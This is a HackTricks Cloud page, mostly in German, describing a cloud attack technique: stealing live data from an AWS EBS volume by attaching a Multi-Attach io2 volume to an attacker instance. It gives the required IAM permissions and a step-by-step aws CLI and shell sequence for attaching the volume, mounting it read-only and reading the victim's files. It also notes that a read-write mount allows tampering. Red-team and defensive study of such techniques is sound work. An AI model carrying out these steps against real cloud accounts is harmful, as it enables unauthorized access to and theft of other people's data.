AWS - Live Data Theft via EBS Multi-Attach
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Zusammenfassung
EBS Multi-Attach missbrauchen, um von einem laufenden io1/io2-Datenvolume zu lesen, indem dasselbe Volume an eine vom Angreifer kontrollierte Instanz in derselben Availability Zone (AZ) angehängt wird. Das schreibgeschützte Mounten des geteilten Volumes ermöglicht sofortigen Zugriff auf in Benutzung befindliche Dateien, ohne Snapshots zu erstellen.
Voraussetzungen
- Zielvolume: io1 oder io2, erstellt mit
--multi-attach-enabledin derselben AZ wie die Angreifer-Instanz. - Berechtigungen:
ec2:AttachVolume,ec2:DescribeVolumes,ec2:DescribeInstancesauf dem Zielvolume/den Ziel-Instanzen. - Infrastruktur: Nitro-basierte Instance-Typen, die Multi-Attach unterstützen (C5/M5/R5-Familien usw.).
Hinweise
- Schreibgeschützt mit
-o ro,noloadmounten, um Korruptionsrisiken zu verringern und Journal-Replays zu vermeiden. - Auf Nitro-Instanzen exponiert das EBS NVMe-Gerät einen stabilen
/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...Pfad (Hilfe unten).
Prepare a Multi-Attach io2 volume and attach to victim
Example (create in us-east-1a and attach to the victim):
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)
# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
Auf dem Opfer format/mount das neue Volume und schreibe sensible Daten (zur Veranschaulichung):
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync
Dasselbe Volume an die Angreifer-Instanz anhängen
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
Schreibgeschützt auf dem Angreifer einhängen und Daten lesen
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt
Erwartetes Ergebnis: Dieselbe VOL_ID zeigt mehrere Attachments (victim und attacker) und der attacker kann Dateien lesen, die vom victim geschrieben wurden, ohne einen Snapshot zu erstellen.
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
Hilfsfunktion: NVMe-Gerätepfad anhand der Volume ID finden
Auf Nitro-Instanzen verwenden Sie den stabilen by-id-Pfad, der die Volume ID einbettet (den Bindestrich nach vol entfernen):
VOLNOHYP="vol${VOL_ID#vol-}"
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
Auswirkungen
- Sofortiger Lesezugriff auf Live-Daten auf dem Ziel-EBS-Volume, ohne snapshots zu erzeugen.
- Wenn es read-write gemountet ist, kann der attacker das victim filesystem manipulieren (Risiko einer Beschädigung).
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud